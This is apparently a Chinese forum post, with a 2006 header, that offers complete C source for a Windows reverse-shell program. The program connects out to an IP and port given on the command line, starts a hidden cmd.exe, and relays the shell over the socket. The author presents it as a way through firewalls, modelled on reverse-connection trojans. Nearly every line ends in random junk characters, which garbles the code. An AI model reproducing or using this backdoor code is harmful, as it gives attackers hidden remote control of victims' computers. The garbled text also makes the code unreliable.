这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b3_P??yp
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/* ============================== |5`ecjb.
Rebound port in Windows NT W$wX[
By wind,2006/7 &b^_~hB:q
===============================*/ LEjq<t1&
#include >Vx_Xv`Jwb
#include pam9wfP
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#pragma comment(lib,"wsock32.lib") iku*\,6W
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void OutputShell(); Z5oDj|&l}
SOCKET sClient; _#v"sGmN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )TVd4s(e
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void main(int argc,char **argv) t90M]EAV
{ {hOS0).(w7
WSADATA stWsaData; Q|+ a
int nRet; >&e=0@?+G
SOCKADDR_IN stSaiClient,stSaiServer; Nz3+yxv1
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if(argc != 3) z.SKawm6T
{ *-fd$l.
printf("Useage:\n\rRebound DestIP DestPort\n"); i"n_oO
return; 0+1!-Wo
} Xu~N97\G
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WSAStartup(MAKEWORD(2,2),&stWsaData); Kyk{:UnI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %E#Ubm!
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stSaiClient.sin_family = AF_INET; qov<@FvE0
stSaiClient.sin_port = htons(0); zd8A8]&-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a;KdkykG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oL R/\Y(
{ NTX0vQG
printf("Bind Socket Failed!\n"); lr;ubBbT
return; iex%$> "
} 7neJV
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stSaiServer.sin_family = AF_INET; Q1|6;4L
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X%<qHbKB,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _3%:m||,XP
{ JAjiG^]
printf("Connect Error!"); ?kZ-,@h:
return; 3mYW]
} k ?6d\Q
OutputShell(); Hc<@T_h+2
} IQC[ewk
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void OutputShell() FsO-xG"@"
{ KI#v<4C$P
char szBuff[1024]; >Q(\vl@N=
SECURITY_ATTRIBUTES stSecurityAttributes; )YwEl72c
OSVERSIONINFO stOsversionInfo; .H M3s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W{q
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STARTUPINFO stStartupInfo; R#ZJLT
char *szShell; Sn'!Nq>
PROCESS_INFORMATION stProcessInformation; 6y
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unsigned long lBytesRead; '3^ qW
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V D7^wd9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |[5;dt_U/
stSecurityAttributes.lpSecurityDescriptor = 0; A9SL|9Q
stSecurityAttributes.bInheritHandle = TRUE; n2-+.9cY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2+)h!y]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :,v(lq
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ; \co{_&D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O^./)#!#
stStartupInfo.wShowWindow = SW_HIDE; OSUiS`k
stStartupInfo.hStdInput = hReadPipe; t1
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RJ0,7E<B
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GetVersionEx(&stOsversionInfo); _8K8Ai-~.>
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switch(stOsversionInfo.dwPlatformId) uA
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{ lU=VCuW!
case 1: [];wP'*
szShell = "command.com"; IMdp"
break; Z)~?foe'
default: OOIp)=4
szShell = "cmd.exe"; ,Js_d
break; :O@n6%pSL
} (JdheCq!x
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "38<14V
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send(sClient,szMsg,77,0); 91&=UUkK?
while(1) sVP\EF8PY
{ Kc^ctAk7;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P%yL{
if(lBytesRead) kzUj)
{ ^9hc`.5N&?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -*w2<DCn
send(sClient,szBuff,lBytesRead,0); 8'3&z-
} u&o4?]6
else 4%qmwt*p
{ X1oR
lBytesRead=recv(sClient,szBuff,1024,0); ?RG;q
if(lBytesRead<=0) break; nSSJl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jZidT9[g
} B/lIn'=
} qgEzK
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return; ph(LsPT-
}